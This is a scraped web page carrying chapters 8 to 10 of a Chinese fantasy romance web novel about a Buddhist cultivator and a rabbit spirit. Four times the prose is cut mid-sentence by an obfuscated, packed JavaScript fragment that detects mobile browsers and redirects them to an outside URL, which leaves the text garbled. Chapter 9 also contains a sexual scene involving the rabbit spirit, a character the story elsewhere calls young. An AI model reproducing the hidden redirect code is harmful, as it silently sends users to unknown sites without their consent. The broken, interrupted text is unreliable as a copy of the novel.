;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179380|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然那尾巴还是隔一会就耸一下。 息尘淡柔一笑,“近日是我不对,忽视了你的感受。” 小兔像是浑身激灵了一下,微侧了点毛茸茸的脸颊,唯身子仍是不动。 就仿佛还要人哄一哄。 息尘从善如流:“近日论法有悟,我为你新改了一套功法,可还想试一试?” 玉扶耳朵倏地开心得竖起来,她并不是喜欢那些人修功法,而是喜欢息尘每次在改编功法后,会用灵力帮她走窍。 她喜欢他的灵力漫遍全身的感觉,每次她都故意将他渡过来的灵力截下,用神魂小兔包裹着,然后一点一点放出来品味。 且昨日那意料之外的化形,究其本质,就是玉扶好几日没有得到息尘渡过来的灵力了,她觉得佛修忽视了她,也不与她修炼了。 尤其是后来,他还说他的灵力对她没用。 玉扶对此很是介怀。 可现在一夜过去,他又为她编功法了。 而且,之前一直同人论法,原来也是为了帮她吗? 玉扶终于转过了身,但也没完全消气,而是哼哼唧唧地顶出一个魂体小兔:“那你还会赶我走吗?” 熟悉的带着幼气的声音,此刻再听,息尘却觉察出了同玉扶化形后的声音并不太相同,化形后的阿扶,声音会更带少女特质一些。 娇气,轻灵。 也无怪他会先入为主地认定阿扶应是幼兔。 将不合时宜的想法从脑中赶走,息尘开始重视玉扶话中的本质,她是在担心他赶走她? 息尘了然下,知晓了症结所在,他并不曾想赶玉扶走,初遇时也不过是认为,她或许会更想归家而已,至于昨日,更只是一时无所适从罢了,也不曾说过要赶她的话。 他与玉扶之间并无任何契约,玉扶是走是留,皆随她心。 他垂下眼,眼睫筛下金色光影,肯定道:“不会。” 她还小,还需要他庇佑的话,他不会赶她走。 玉扶知道佛修是不会说妄言的,真奇怪,只是简单的一个承诺,玉扶却顿觉所有的气都消了。 她得寸进尺地又提出要求:“那你不能不带我修炼,不能不抱我不摸我,也不能再让我自己睡……” 一个又一个魂体小兔骄纵地撞入息尘的胸腔。 息尘持佛珠的手不自在地挡住。 他面色依然沉静,但拒绝却不容置疑:“除了第一个,其他都不行。” 玉扶噘嘴,很想问为什么,可她在息尘这种极认真的语气下,偏又很怂,只顶出一个垂头丧气的魂体小兔道:“好吧。” 她实在太娇缠,这句“好吧”,息尘都不由松了口气,只略有些奇怪问:“阿扶,你还不能说话吗?” 昨日见她分明是能说话的。 玉扶豁地抬头,她下意识摇了摇头,甚至张开口要吐出字音,继而又猛地闭嘴,连忙点头。 她已经知道了佛修不喜欢毛茸茸,也不喜欢她的化形,现在如果她还用原形说人言,那不是让息尘有了第三种不喜欢? 她才不要。 息尘见她如此,也不再多问,只觉得果然还是只小兔,化形不稳,不会说话也正常。 一人一兔和好,达成共识,息尘重新提及:“可还要下山?” 玉扶点头,主动地抬了抬前爪,示意息尘弯腰抱她。 8. 第 8 章 玉扶也不知道,她一个简单如常,也同息尘习惯了动作,又惹得息尘皱了眉。 息尘抱是抱了她了,可好像又有些不情愿,口中也咕咕叨叨的,说些她听不懂的话,什么“男女之交,应以礼相使”,又说什么“不杂坐,不同椸枷,不同……” 玉扶完全听不懂,注意力也很快被贵来城的热闹吸引走了。 贵来城来的修士异常的多,除去有资格进入游仙会的,各宗还来了许多来涨见识的修士。 以至贵来城白天黑夜的都热闹。 玉扶对什么都感兴趣,摆在地上的丹药,她鼻尖嗅了嗅,觉得对自己有利的,就直接吃了。 摆摊卖丹药的主人,拦着息尘不让走。 好在息尘并不穷,佛宗佛子,许多宗内资源便是他不需要,也会送到他面前,偶尔法会讲经说禅,也回报丰厚,此刻掏出的灵石,根本没有中下品的。 然也是这付灵石的当口,玉扶已经抛下了这个摊子。 她体型虽小,可实在灵活,旁人过不去的人流,她从人脚边缝隙就穿过了,息尘追不上,只得捏决重新给她套上一层薄膜似的结界。 玉扶这次倒不抗议了,这层结界反更便利了她各处跑窜,甚至在息尘一时没追上来的时候,在一铺子外动了妖力,妖纹于她眼下浮现,山神道的搬山之能小小动用。 在她走后,铺中少了一块鸳鸯状的灵玉,多了一张欠条,上书“合欢宗——(爪印)欠。” 欠条落于一年轻男修手中,老管事满面愁容:“少主,属下失职,也不知哪来的小贼,半点动静也没察觉,灵玉便消失在眼前。” “这欠条——”老管事看向男修手中欠条,不知该不该承认这欠条的效力,他瞧着上头好像不止是简单的欠条,这纸张似乎有他们栖云商会的印记? 他还想瞧清一些,男修已然将欠条收起,面色不愉,甚至有些咬牙切齿:“欠条我会处理。” “一个宗门出来的,连只兔子都一个德行。” 老管事闭嘴不再多言,他想起来了,少主曾有一段时日与一女子感情甚笃,少主印被按了好几本空白册子。 后来这些空白册子的纸张,都成了流向各处名下商铺的欠条。 欠债的不是同一人,但还债的都是同一人。 老管事无言看了一眼男修,喏,这儿呢。 * 玉扶不是随意留下欠条的,她是看准了铺子标识才用的。 下山前,除了死记硬背各种知识,师姐们也给她许多东西,还每人给了她几张画像,有见了要躲着走的,也有见了要去买丹药法阵的,还有一类,是可以上门寻帮助的。 灵石她早在妖魄下奔逃时一口气吸光了,可她又想给息尘也送一个礼物。 她本能地知道,用息尘的灵石买东西送给他自己,不能算作礼物,可用师姐送她的空白欠条,就算是自己的心意了。 玉扶用了用力,眼下的妖纹不太情愿地浮现一下,将灵玉纳入。 妖类的储物空间并不需借助储物袋之类的外物,天生就有可供纳物的部位,像蛟龙的腹囊,水妖最坚硬的鳞片,木妖的木芯……都是可纳物的所在。 玉扶不喜欢藏在这些地方,她将她的纳物辟在了眼下的妖纹中。 当她化为原形时,眼下便各会显出三瓣红色的桃花纹,这是她生来就带的,玉扶一直很喜欢,在山上时,常臭美地对着溪水照来照去。 不过当她很虚弱时,她的妖纹也会淡去。 就好比现在这样,才用了个搬运小法术后,妖纹便更不听话了,纳物都费力。 也就刚把灵玉藏起来的功夫,息尘便已寻来,似不满玉扶的任性,伸来带起她的手都带上了冷冽的气息。 可确认她完好后,那股冷冽又荡然无存,气息宁和,训斥也不过是絮叨的说教。 玉扶自觉闭耳,垂头一副知错的模样。 给玉扶罩的那层结界,息尘能第一时间察觉玉扶是否受到伤害,可考虑到玉扶的舒适问题,这结界并没有以往的牢固,是可以从内部打破的。 而现在,这层薄膜结界就已经破了。 不用多想,就知定是玉扶自己做的,极细微的妖力波动,她方才在做什么? 息尘时常会为玉扶感到困惑,她乖巧,又不乖巧,一不留神,就失去掌控,总要对她打起十二万分的精神。 眼下,她就不是真的在认错,她的兔耳内廓绒毛紧簇,分明闭了耳。 玉扶察觉了气氛的凝滞,也第一次在息尘的身上察觉到了生气这种情绪。 啊,原来佛子也会生气呀。 玉扶惊讶,兔耳内廓紧簇的绒毛也随之打开。 她想了想,再次用力浮现妖纹,面前出现个拳头大的空间光环,本想回开阳宗客院后再送给息尘的灵玉,“噗”一声,从光环中挤出。 光环瞬地消失,灵玉却被息尘立时接住。 鸳鸯形状,冰冰透透,内里如含着一汪灵泉般灵息浓郁,是极好的灵玉,有助修士凝神修行之效。 玉扶求夸奖似的对息尘示意。 但息尘记得分明,他没有给玉扶付过此物的灵石。 对玉扶的一些缺少人修常识的行为,息尘已经见怪不怪,但玉扶日后既是要化形当妖修的,有些东西不得不教,他神情凝重,语重心长:“阿扶,易物是需要用灵石等价交换的,” “我为你备一些灵石,此物从何而来的,你还回去,亦或是等价买来。” 玉扶的高兴劲瞬间被息尘浇灭,她是变小了,可不是智障了,即便没下过山,玉扶也是和师姐们有来往的,下山前更是恶补了许多的知识。 她只是想给息尘送一个礼物,可息尘却觉得她是偷来的。 玉扶很受打击,他不喜欢她,现在甚至怀疑她是一只坏兔子。 蓦地,泪水盈眶,玉扶整个兔身膨胀似的拱起,又用力地浮现出妖纹,一小叠印着栖云商会商印的空白纸张散落一地。 心慌之感遽然攥住了息尘。 恰是时,街道人流分开,开阳宗外出弟子高调回宗,契约了一高阶妖兽,是为九尾天狐。 天狐关在笼中,蓬松大尾几乎占满了笼子。 契约它的主人正是孟栩,孟栩为人向来张扬爽朗,此行为无不是在宣誓主权的同时,好让人知晓,此行游仙会,他会带一只御兽。 而在此次外出前,他分明是没有契约任一御兽的。 天狐眸光暗闪,有点厌恶这种出行方式,可无法,孟栩此人或是天性就如此,她不过给他下了带她入游仙会的暗示,他现在拉着关着她牢车逢人就道:“对,我契约的妖兽。” “九尾天狐。” “当然要带入游仙会。” 天狐不愿再看这种闹剧,数条大尾一直遮盖脸庞,直到她看到一个意外的背影,才微散开些尾巴,留出些视线范围。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179381|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那背影离开的很快,但无疑是她要寻的人。 不过,不急,先拿到惑心镜才要紧。 * 天狐瞧见的正是息尘,孟栩阵势太大,修士为瞧天狐分道挤看。 息尘不得不暂卷了散落一地的商会印纸,带着玉扶先退到无人处。 玉扶很不高兴,比之前的每一次都要更不高兴。 没有比自己努力准备的礼物被怀疑更不高兴的事了。 就算是华美圣洁,如同月光做的佛子也不值得她原谅。 玉扶甫一落地,就自顾自背着息尘蜷作一团。 可虽是这样想,玉扶还是忍不住偷瞧息尘几眼,他常持佛珠的那只手,还捏着捡回的一小叠商会印纸,而另一手紧握着鸳鸯形状的灵玉。 原来除了生气外,他还会露出这样复杂的容色,不是无波澜的温和悲悯,也不是玉像一样的矜贵圣洁。 而是一种更有人味的感觉。 也仿佛更可触碰一些了。 察觉他看来,玉扶掩耳盗铃地埋下眼。 息尘虽不知玉扶这些商会印纸是从何而来,可无疑的,是他误会了玉扶,令她委屈了。 他冷静但又无措,对自己连日里总惹气玉扶也带上了责怪。 他欲说些什么,可开口后却只是唤了一声:“阿扶。” 寻常的,温和的,听不出太多情绪的一声。 玉扶兔耳微动了动,等待他继续,然而,过了许久,玉扶都要怀疑自己是聋了。 再埋脸不下去,气呼呼地直视息尘。 强硬要听到什么满意话语的态度。 然玉扶听到了什么: “鸳鸯是不可以乱送的——” 息尘停顿住了,玉扶也震惊了。 她当然知道不能乱送,所以才送啊,可他憋这么久,就又是说教她吗? 佛修真是—— 真是除了好心肠外,没有优点了! “抱歉,阿扶,我不是责怪你的意思……”息尘如第一次做错事的严谨大人般,解释的嗓音都在发紧,也更失了平日的水准:“我是说你送的礼物很好……” 又觉不对,描补:“你上次送的小花就很好,灵玉我并不喜欢——” 还是不对。 甚至,越说越错。 息尘抿唇片刻,定了定心神:“阿扶,是我不对,你有我不知的秘密,我不该疑你品性,你送的花很好,灵玉也很好。” “不过有些别有寓意的物件是不可乱送的,收到的人会误会。” “但我知你尚幼,心性单纯,并无旁意,我便收下了,多谢你。” 玉扶其实早已没在听他说什么,她从他乱言的时候,心也跟着乱了,她好像越来越会欣赏人修的样貌了,她好喜欢息尘冰玉一般的脸庞出现别的颜色,赧然而过的一抹浅浅红晕,华美又惑人。 她被迷惑住了。 她“砰砰砰”的心脏告诉她,她离不开息尘了。 她渴望他,想与他一起修炼。 陌生又熟悉的渡情期情潮倏然来至,玉扶原谅他了,她向他靠近,浑身热烘烘地发烫。 息尘惊疑她病了,复将她抱起。 玉扶紧紧贴着他的手心,温凉的触感令她既着迷,又寻回几分神志。 在迷茫中,她顶出一个魂体小兔问:“息尘,可不可以带我修炼。” “就那个新功法。” 9. 第 9 章 玉扶的祈求总是来得突然又莫名。 可因不久前的误会,息尘此刻并说不出拒绝的话。 他的掌虚虚覆上了玉扶的脊背,但并不是玉扶所求的那修炼功法,而是单纯的灵力,为玉扶理气,降下发热的体温。 不过,对玉扶来说,都无所谓,她只是有点渴求息尘的灵力为她带来的感觉罢了,她也并不满意息尘与她保持的距离,他才冤枉过她呢,还这样小气! 她理直气壮地直接撞上他手心,然后心安理得地享受着灵力的度来。 一如既往的令她舒适的灵力,她哼哼唧唧地抱着息尘的手,将他整个手掌都拥在腹部。 玉扶享受这种亲近,他的灵力也逐渐将她的躁动压下。 玉扶不知道该说喜爱还是不喜爱这个渡情期了。 在没下山以前,渡情期虽会令她精神不振,可她本就修炼很久,压制住烦躁虽有些麻烦,但也不至控制不住自己。 只是,这样全然身体上的反应,慢慢熬着,总影响修炼,熬久了也更压抑,所以她下山了。 可她现在才发觉,她的渡情期好像比预料中的还不可控,她变得奇怪了,一些陌生的刺激,总让她有些着魔的上瘾。 偏偏她本性里是喜爱的。 玉扶想,这是兽类的天性,没什么好抗拒的。 故而,在息尘的灵力下,她明明已经好多了,还是故意仰瘫着,小老鼠似的,将息尘渡送过来的灵力藏一点藏一点。 息尘明显发现那种灵力阻塞的感觉又出现,看还能如何,既能让她缓解不适,睁一眼闭一只眼罢了。 这次灵力渡送的尤为久。 玉扶直到体内元神化身的小兔再吃不下了,才装模作样地从脑门上飘出个魂体小兔道:“我好多了。” 为了能可持续发展,玉扶这次学乖了,还主动夸道:“息尘你这次改的功法,好像有点适合我了。” “我们可不可以明天再继续这样修炼?” 息尘一手用臂支撑着她的趴伏,一手下意识地为她顺毛,然听到如此问话,还是凝了眉。 他垂下眼,浓长眼睫遮住里头的不解,答应道:“好。” * 玉扶的心情就如无法预测的气象一般,时而开怀,时而愤怒炸毛,当他们重回开阳宗客院时,她已然精神饱满,又愉悦十分。 甚至不需借助息尘的代步,灵活极地一跃一台阶。 与一些开阳宗弟子交错而过时,会听得一些孟栩如何契约九尾天狐的谈论。 息尘从中知晓,天狐竟就是在梅江城被妖域吞并的区域附近发现的。 天狐受了重伤躲藏,孟栩帮了天狐,继而结契。 他回想了一下,并不记得那附近有什么受伤的天狐。 许是孟道友的机缘吧。 玉扶见息尘对天狐感兴趣,甚至还停下脚步地想,她顿觉不快,气哼哼地从石阶往下,跑到息尘身旁,绕着他转圈圈,就差把“看我看我看我……”喊出来了。 * 是夜,息尘仍坚持与玉扶分房。 即便玉扶是个根本占不了多少空间的小兔,也即便她撒娇打滚。 息尘不为所动。 玉扶眼巴巴地送息尘离开,独自在足有几十上百个她那么大的床铺上打滚。 她睁眼望着帐顶,无法入睡。 顶开房门到院中修炼,今夜无月。 蹲到息尘房外。 “阿扶,男女授受不亲,你是只母兔子。” “夜深了,休息吧。” 隔着门扇,息尘声音温煦关怀,可玉扶就是不满足,也不理解,明明之前都一起的,而且他也不是昨日才知道她是母兔子的啊。 什么男女兽兽不亲了? 只有她是兽,他是人不是吗? 况且,这话也是错的,男兽女兽怎么可能不亲? 她在山里看的可多了,男兽女兽分明很亲。 玉扶哼哼唧唧不服气地回到自己房里,摊饼似的将自己摊开,双眼却精神奕奕。 她体内吃饱了息尘灵力的元神小兔亦然精神。 玉扶眨了眨眼,内观下,可以看到识海里唯一的元神小兔,腹中包裹着光亮亮一团。 那是不属于玉扶的灵力,她并吸收不了,每每都是将其漫入四肢百骸,压下渡情期的不适,亦或是品味似的,放出一点放出一点过电般的耍玩。 可现在,她百无聊赖地拨动一下,竟将其全放出了。 玉扶舍不得浪费地驱使元神小兔去追,这么一大团呢,可以玩好久。 然而,想到息尘明日答应还带她修炼,一瞬迟疑。 也是这一瞬的迟疑,大团的灵力在她体内分散,按着原定的轨迹运行。 什么涌泉、劳宫、膻中……许许多多人修才仔细界定的穴位,分散的灵力一个不落地踱过。 玉扶开始控制不住它们。 她浑身都热得好像要蒸腾起雾气一样。 她不受控地开始化形,这些灵力也宛若终于寻到了各自该去的地方,一圈一圈地自发运转起来。 玉扶时而觉得痛苦,又时而觉得兴奋,小腹又一阵一阵地发麻,化形出来的双腿也不自觉地并拢,绷紧。 然这些还不足以缓解她的状态,她翻翻身子,侧蜷着咬牙,极力压制着胡乱运转的灵力。 但这些灵力真是坏透了,不但管不住,还将她今日方才压下去的渡情期的朦胧慾望又牵引了出来。 两种不同的渴求对抗着,玉扶开始接纳这些灵力的冲刷,她的额角泛起细汗,颊靥霞红如沁血,白皙的手指紧攥着衣襟。 可她的呼吸还是在变重,她好像要喘不上气地张开了唇。 一点舌尖于贝齿中吐露,双腿更是极力地绷着,绞着,诡异地,她好似寻到了一些宣泄的出口,她呜呜地发出些小兽一样的哼唧,泪眼朦胧地往下探去一手。 隔着衣料夹在、腿中。 她呜呜地哭,也呜呜地动,她不会,师姐没教。 那些文字和口述,她不会用。 她哭得越发惨了。 然后她听见了敲门:“阿扶,你怎么了?” 玉扶脑袋要炸开一样地慌张:“我没事呜呜呜……” 她的呜咽根本不止,可那分明是少女的音色,让息尘搭在门沿上的手停顿不动。 昏暗的夜色,隔着一道门,少女模糊的呜咽哼唧,有一种隐秘的旖旎,息尘想不透这些缘由,他担心玉扶,她虽有秘密,可到底是一只小兔,白日里就像病了。 他没走,但是在迟疑着些什么。 可玉扶自他的出现,就更难受了,整个人都蜷进了被褥中,有些喘不上气地喊着:“你不许进来……你进来我就再也不理你了。” “我要找别人去。” 娇气没有威慑力的威胁,可那句找别人去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179382|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息尘下意识地并不愿。 也是这紧张的关口,那些灵力似因对原本主人的感知,倏地激、烈了起来,一下撞得玉扶头脑发懵。 激流也瞬地猛退,玉扶被折腾得失了神,躲在被窝中像是被欺负了一样,不断溢出哼哼声。 直到过了好久,她才从被窝中冒出个头,细碎的乌发湿透,凌乱地黏在晕红的颊靥,头顶的绒球也蔫了似的耷着。 玉扶脑袋昏昏,非常难以置信,还有些似懂非懂。 然后她想起了息尘。 瞥眼一下,心虚得控制不住发抖,她发现,隔着一扇门,息尘还没走。 门上倒映出来他的一团模糊背影,挺拔修雅,浑然天成的端庄圣洁。 他都听到了吗? 他知道她在亵渎他吗? 他会如何想她? 会觉得她是一只色兔子吗? 可她之前不这样的,都是渡情期的错,息尘也有错,大呆瓜,为什么不走远些。 她真的是丢死兔子了。 今日的刺激余韵尤其的长,玉扶甚至短时间内没有重新变回兔子。 许是察觉到了室内呜咽的动静消失,门外的声音又传来,一听就是又慈悲又瞎好心肠。 “阿扶,你还好吗?” 他的声音,让玉扶双又抖了抖。 是不受控的抖,有心虚,也有她捉摸不清的过电一样的乐趣。 她掀开被子,全是她自己的气味,用力了好几次,才让妖纹浮现,成功地给自己施了清理的法术。 门缝开了极小的一点。 息尘侧身而看,只能瞧见少女一点茶色的眸,湿润的发,还有往后瑟缩的身子。 可独属于的少女的馥郁气息还是从门缝中强烈地挤来。 息尘像是被冲击到一般,后退一步,离房门更远一点地背身而问:“为什么哭?” 他问的很僵硬,手指也捏紧了佛珠,心底有一道声音似在嗤他不该问,然而,她一直受伤小兽的呜咽仿佛仍荡在耳畔,入了耳,过了心,再不能装作不在意。 玉扶颤颤抬了眸,背着身的息尘,仙风博袍,稍偏向她视线的那一点面容,也端正岿然无比。 “我想我姥姥了。” 玉扶下意识说了谎。 “这样啊。”息尘嗓调幽幽,接受了玉扶的说法:“生死涅槃,同于空华,你也莫要太伤悲。” 似觉对生死看得太淡,他又用更好懂的比喻补道:“晨露虽晞,润过草木,电光虽逝,照彻长夜,你姥姥也应如是。” 玉扶没听懂前面的一句,后面一句却理解了,息尘是在说她姥姥存在过,陪伴过她。 可这种氛围下,玉扶没好意思解释,她姥姥其实没死干净,还留了一点魂魄。 不过,她也确实很久很久没见过姥姥了,也想姥姥了,想她身上的味道,还想她的怀抱。 吸着鼻子地轻“嗯”了一声。 云片悠然过苍穹,淡月疏星横斜而出,又有淡淡的月华落下。 息尘仰面望月,偏一眼给还只开一条门缝的玉扶道:“修行不可操之过急,早些休息。” 月光在他身上一荡,袍摆掀动出动人心魄的光影。 直到偏房“吱呀”一声的关门声,玉扶才咂摸出息尘话中包含的关心,月亮出来了,他是让她今夜不要忙着修炼,好好休息呢。 甜滋滋的喜悦,玉扶一夜好眠。 10. 第 10 章 红日破天,玉扶还是迷瞪着眼自然醒了。 梦游一般,滚到客院的院中,吸纳着曦光精华。 然后圆圆的身子在曦光下,呼呼地起伏着,又睡着了。 夜里的那场意外的自娱,给玉扶留的后遗症不小,就好比,她现在就很困,快半日过去了,还是萎靡没有精神。 而且她有点不太敢去看息尘,一看到他,玉扶就想起昨日,隔着一扇门时,自己的窘迫和心虚。 不是心虚偷偷藏了他的灵力,而是更不能说出口的心虚,非要形容的话,就是她把月亮的影子偷偷藏了起来,然后把它弄脏了,不想被发现的感觉。 她今日的反常息尘看在眼里,直到送走了论法的修士,才扒开一处草丛,寻到精神不振的玉扶。 “阿扶,该修炼了。” 息尘其实已经知道了,人修的引灵功法对玉扶没用,她应该是个野生的妖,早已有了自己的修炼方式。 但他的灵力应该能缓解她的某种不适。 昨日既没有戳破她,当下便更不可能去做了,他如约寻玉扶履诺,以修炼的名义为她渡送灵力。 然玉扶听到“修炼”二字,身子都抖了抖。 啊,她忘了这茬了。 她很为难,她现在吃不下了,也短时间内不想玩了。 但又很舍不得息尘的灵力。 尤其这还是她昨日自己哄来的。 她豁出去地往前迈了一步,熟悉的灵力灌顶而来,不过这次并不久,息尘很快收回了手。 得益于之前数次的功法试验,他发现,玉扶今日接受的情绪并不如以往。 既如此,也没必须继续,他摸了摸玉扶的脑袋,道:“游仙会三百年一次,阿扶,你灵性非凡,又上进,此次我会带你一同前往,可愿?” 玉扶当然当然想去游仙会,不过她也有一些自己缘由的迟疑,她听说呢,都是和主人有契约的兽才能进入,而且得到的机缘还得看主人,主人不当人的话,就连兽的机缘都抢。 玉扶倒是不担心息尘会抢她的机缘,息尘做不出这种事。 她不愿的是结契,她是只自由的野兔子,下山前,师姐们也叮嘱她呢,不能随便与人结契,会失去自由的。 “要结契吗?”玉扶迟疑半晌,顶出个魂体小兔直接问。 息尘点头,御兽要进入游仙会,结契是必须的,不然,任何外来的妖兽之流也能混入了,再则,有契约的约束与证明在,即便是兽出了什么问题,也有主人背书担责。 玉扶有此问,息尘其实是欣慰的,有防人之心,不容易被骗。 但他还是花了些时间,为玉扶讲解各种契约之间的不同,主从契约是很多圈养灵兽常与修士签订的,一切由人修主导,兽无条件服从主人。 平等契约一般是强大的妖兽自愿与人修签订,双方都有解除契约的能力。 除此外,还有一种本命契约,主从休戚与共。 会签这种的要么感情好到同生共死,要么就是妖兽一方更强,可以帮助主人修炼。 玉扶听完了,一个都不想签,她弱呢,平等契约万一也不平等呢? “有没有那种签几天,或者一段时间自己解开的?”玉扶弱弱地问。 息尘本意是签订平等契约,听此,当下考虑半晌,道:“我需些时日想想。” 于是,玉扶在游仙会开始的前一日,才签上了临时契约。 其实修界并非没有临时的契约,然那种多是书面的,而非御兽中主从相连的更可靠、更可约束的契约,这种的临时契约,要入游仙会并不被承认。 故而,息尘在改功法后,又接连钻研改出了可被承认的临时契约。 好在这次,玉扶没有像接收改编功法时那样不配合,一次就签订成功。 玉扶感受了一下签订契约后与息尘之间的联系。 非常神奇的感觉,他们之间好像有了一种无形的纽带,她再不用神识化出魂体小兔,就能同息尘说话。 她的声音可以直接传到息尘的脑子里,玉扶兴奋地一直唤:“息尘息尘息尘……” “摸摸我摸摸我摸摸我……” 息尘脑中如闯入了无数的小兔,因临时契约的不完善,他甚至不能单方面地切断联系,无法,只能摸了摸了玉扶道:“阿扶,安静些。” * 游仙会当日,修士皆聚在开阳宗大广场,息尘的一些师侄也在。 因佛子的声名在外,常有修士上门论法,玉扶一直是与息尘在单独的客院,此刻再次与息尘的这几个师侄立在一处,玉扶便闻出来了,他们的身上一股子的狐狸味 玉扶不喜欢这狐狸味。 妖向来是有自己独特的留下气味方式,气味中可以留下警告,也可以展示实力,还可以宣誓所有。 玉扶虽没从中闻出警告和宣誓,但能感觉到这狐狸实力比她强,息尘的这些个师侄,定然是同狐狸有过一些亲密的接触。 玉扶很不开心,自然地从这些佛修想到了息尘身上,她有一种强烈的危机感,甚至在一瞬炸毛似的拱起脊背。 她的危机感来源在靠近。 孟栩高声同息尘等人打招呼:“佛子!行知道友,行远道友……” 孟栩是刻意过来打招呼的,怀中还抱着个毛茸茸的天狐,天狐尾巴蓬松、大朵,有的盘住身体,遮住脸庞,有的自然垂落,闲适地轻摆着。 光是这些大尾巴,就已惹得许多修士频频看来。 孟栩昂首阔步行到佛子几人身前,天狐像是被惊动一般地落下些遮住脸庞的尾巴,明明是狐形的长脸,可上扬的眼,偏生出无限的妩媚来。 天狐的视线落到了玉扶身上,眼波蔑视般的流转,在息尘等人身上转一圈,复又遮上了尾巴。 玉扶一瞬往息尘的怀里缩,又怂又气急地告状:“她在蔑视我。” “诶,道友们,莫怪莫怪,雪仙性子傲,不爱理人。” 雪仙唤的是天狐,说这话时,孟栩眉眼都洋溢着飞扬的显摆,尤其是对着佛子,“佛子,你的小兔呢,又躲起来了吗?” “唤出来同我家雪仙认识认识呗。” “我也不是特别懂得照顾灵宠,我们可以多交流交流。” 许是听得“灵宠”二字,孟栩怀里的天狐,尾巴也烦躁地摆了摆,似有些受不了。 息尘在孟栩开言一瞬,就觉言语有些熟悉,恍然想起,早前他也是这样介绍玉扶的“小兔娇气,不喜食这些”。 他淡淡笑笑,视线也落在了孟栩怀中的天狐身上,不过才一眼,就被玉扶敏锐地感知到了,一连串的撒娇闹气随之而来。 “你不要看她,我的尾巴也很好摸的。” “我以后也可以变大。” “我可以变得很大很大,你靠着我睡觉也可以。” …… 许多的条件开得直像是要把自己许出去。 息尘想不到让她停下的办法,掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179383|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心向下,触到了玉扶的尾巴,短短又毛茸茸一簇,确实好摸。 玉扶整个兔子都僵住了,羞红了脸,更是用息尘的袖袍遮住了整个身子。 尾巴怎么可以乱摸呢! 玉扶哼哼地往里钻着,可要说多生气也是没有的。 孟栩纯属契约了天狐,到处嘚瑟,没见佛子的小兔出来与雪仙认识,也不在意,大广场上方的游仙会也即将开启。 一道从天而降的光柱,落到大广场中央,光柱扩大,不断有人消失在光柱中。 也有被光柱忽略过的,不死心继续往光柱中闯,仍旧不得被选中。 有缘与否,从光柱出现的一瞬就已注定。 也难怪有些修士要带上契约灵兽多一个可能了,被拒绝在外真的很没面子。 光柱很快落到了玉扶等人身上,一霎的空白,大广场不见了,周遭的许多修士也不见了。 但许是光柱来时,息尘与几个师侄都靠得近,倒是有一两个与他们落到了同一处。 一个叫行知,一个叫行岳。 行知年岁更小,面庞也稚嫩些,行岳异常高大结实,与息尘完全不像是同一种佛修。 玉扶还是喜欢息尘这样的,他虽然也高,但就是好看的刚刚好,身修气清,沉静耀眼。 越有对比,玉扶的欣赏水平也越直线地上升。 但仰着头看实在太累了,她沿着息尘的手臂上攀,趴在了他的肩头。 玉扶发现,息尘的肩很宽,而她也不大,这个姿势不但舒服,视野也极好。 息尘也抬手稍扶了她一下,见她趴得极稳,也就随她去了。 他们四周是迢迢的青山,树色也苍苍,一条蜿蜒土道是唯一的路。 玉扶是一只兔子,几日前还根本没想过能进游仙会呢,她是半点准备也没有,纯来靠缘分,息尘显然也与她差不多,他是三缘境,早过了刻意强求的阶段。 但行知年轻,玉扶眼看着他掏出了地图一样的东西。 行知见师叔的兔子直直盯着他,师叔也看来,不好意思道:“我见贵来城有人兜售地图,便也买了一份。” “也不知准不准确,师叔可要看一看?”行知将地图往息尘的面前送。 游仙会中虽多看缘分,不过一次次开启下来,也有一些被人探索发现后,固定标记的点位,像什么灵剑山、雷刀池,都是剑修刀修必去之地,取不走刀剑的修士,才往其他地方去。 行知是很乐意将地图分享给佛子的,因这并算不上什么特殊的玩意,或许师叔根本用不上,但师叔的小兔已然向地图探了头。 “给阿扶看也可。” 行知立马补一句,他知晓师叔的小兔叫阿扶,虽觉有些怪异,可也是阿扶小兔给的灵感,让他鼓足勇气与师叔多说几句话。 